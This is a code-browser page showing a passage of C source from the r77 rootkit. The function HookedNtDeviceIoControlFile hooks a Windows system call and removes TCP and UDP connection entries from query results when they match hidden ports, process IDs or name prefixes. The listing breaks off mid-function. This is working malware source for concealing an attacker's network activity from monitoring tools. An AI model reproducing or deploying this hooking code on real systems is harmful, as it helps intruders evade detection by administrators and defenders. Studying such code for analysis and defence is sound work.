MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / HookedNtDeviceIoControlFile

Function HookedNtDeviceIoControlFile

r77/Hooks.c:715–795  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

713 return result;
714}
715static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength)
716{
717 NTSTATUS status = OriginalNtDeviceIoControlFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, ioControlCode, inputBuffer, inputBufferLength, outputBuffer, outputBufferLength);
718
719 if (NT_SUCCESS(status))
720 {
721 // Hide TCP and UDP entries
722 if (ioControlCode == IOCTL_NSI_GETALLPARAM && outputBuffer && outputBufferLength == sizeof(NT_NSI_PARAM))
723 {
724 // Check, if the device is "\Device\Nsi"
725 BYTE deviceName[500];
726 if (NT_SUCCESS(R77_NtQueryObject(fileHandle, ObjectNameInformation, deviceName, 500, NULL)) &&
727 !StrCmpNIW(DEVICE_NSI, ((PUNICODE_STRING)deviceName)->Buffer, sizeof(DEVICE_NSI) / sizeof(WCHAR)))
728 {
729 PNT_NSI_PARAM nsiParam = (PNT_NSI_PARAM)outputBuffer;
730 if (nsiParam->Entries && (nsiParam->Type == NsiTcp || nsiParam->Type == NsiUdp))
731 {
732 WCHAR processName[MAX_PATH + 1];
733
734 for (DWORD i = 0; i < nsiParam->Count; i++)
735 {
736 PNT_NSI_TCP_ENTRY tcpEntry = (PNT_NSI_TCP_ENTRY)((LPBYTE)nsiParam->Entries + i * nsiParam->EntrySize);
737 PNT_NSI_UDP_ENTRY udpEntry = (PNT_NSI_UDP_ENTRY)((LPBYTE)nsiParam->Entries + i * nsiParam->EntrySize);
738
739 // The status and process table may be NULL.
740 PNT_NSI_PROCESS_ENTRY processEntry = nsiParam->ProcessEntries ? (PNT_NSI_PROCESS_ENTRY)((LPBYTE)nsiParam->ProcessEntries + i * nsiParam->ProcessEntrySize) : NULL;
741 PNT_NSI_STATUS_ENTRY statusEntry = nsiParam->StatusEntries ? (PNT_NSI_STATUS_ENTRY)((LPBYTE)nsiParam->StatusEntries + i * nsiParam->StatusEntrySize) : NULL;
742
743 processName[0] = L'\0';
744
745 BOOL hidden = FALSE;
746 if (nsiParam->Type == NsiTcp)
747 {
748 if (processEntry) GetProcessFileName(processEntry->TcpProcessId, processName, MAX_PATH);
749
750 hidden =
751 IsTcpLocalPortHidden(_byteswap_ushort(tcpEntry->Local.Port)) ||
752 IsTcpRemotePortHidden(_byteswap_ushort(tcpEntry->Remote.Port)) ||
753 processEntry && IsProcessIdHidden(processEntry->TcpProcessId) ||
754 lstrlenW(processName) > 0 && IsProcessNameHidden(processName) ||
755 HasPrefix(processName);
756 }
757 else if (nsiParam->Type == NsiUdp)
758 {
759 if (processEntry) GetProcessFileName(processEntry->UdpProcessId, processName, MAX_PATH);
760
761 hidden =
762 IsUdpPortHidden(_byteswap_ushort(udpEntry->Port)) ||
763 processEntry && IsProcessIdHidden(processEntry->UdpProcessId) ||
764 lstrlenW(processName) > 0 && IsProcessNameHidden(processName) ||
765 HasPrefix(processName);
766 }
767
768 // If hidden, move all following entries up by one and decrease count.
769 if (hidden)
770 {
771 if (i < nsiParam->Count - 1) // Do not move following entries, if this is the last entry
772 {

Callers

nothing calls this directly

Calls 8

R77_NtQueryObjectFunction · 0.85
GetProcessFileNameFunction · 0.85
IsTcpLocalPortHiddenFunction · 0.85
IsTcpRemotePortHiddenFunction · 0.85
IsProcessIdHiddenFunction · 0.85
IsProcessNameHiddenFunction · 0.85
HasPrefixFunction · 0.85
IsUdpPortHiddenFunction · 0.85

Tested by

no test coverage detected